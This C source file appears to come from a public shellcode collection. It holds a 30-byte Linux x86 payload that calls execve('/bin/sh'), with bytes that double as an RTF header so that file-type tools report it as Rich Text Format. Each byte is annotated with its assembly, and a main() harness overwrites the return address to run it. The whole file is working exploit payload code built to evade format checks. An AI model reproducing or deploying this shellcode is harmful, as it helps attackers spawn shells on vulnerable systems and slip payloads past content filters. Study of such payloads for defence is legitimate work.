shellcode-224.c

/*
 * (linux/x86) - execve("/bin/sh", ["/bin/sh", NULL]) + RTF header - 30 bytes
 *
 * root@magicbox:~# file linux-sh-rtfhdr.bin
 * linux-sh-rtfhdr.bin: Rich Text Format data, version 1,
 *
 * - izik <izik@tty64.org>
 */

char shellcode[] =

        //
        // RTF Header (7 bytes)
        // - Be careful not to trigger any of those expressions.
        //

        "\x7b\x5c"              // jnp 80480d2 <_start+0x5e>
        "\x72\x74"              // jb 80480ec <_start+0x78>
        "\x66\x31\xc0"          // xor %ax,%ax

        //
        // execve("/bin/sh", ["/bin/sh", NULL]);
        //

        "\x6a\x0b"              // push $0xb
        "\x58"                  // pop %eax
        "\x99"                  // cltd
        "\x52"                  // push %edx
        "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f
        "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f
        "\x89\xe3"              // mov %esp,%ebx
        "\x52"                  // push %edx
        "\x53"                  // push %ebx
        "\x89\xe1"              // mov %esp,%ecx
        "\xcd\x80";             // int $0x80

int main(int argc, char **argv) {
        int *ret;
        ret = (int *)&ret + 2;
        (*ret) = (int) shellcode;
}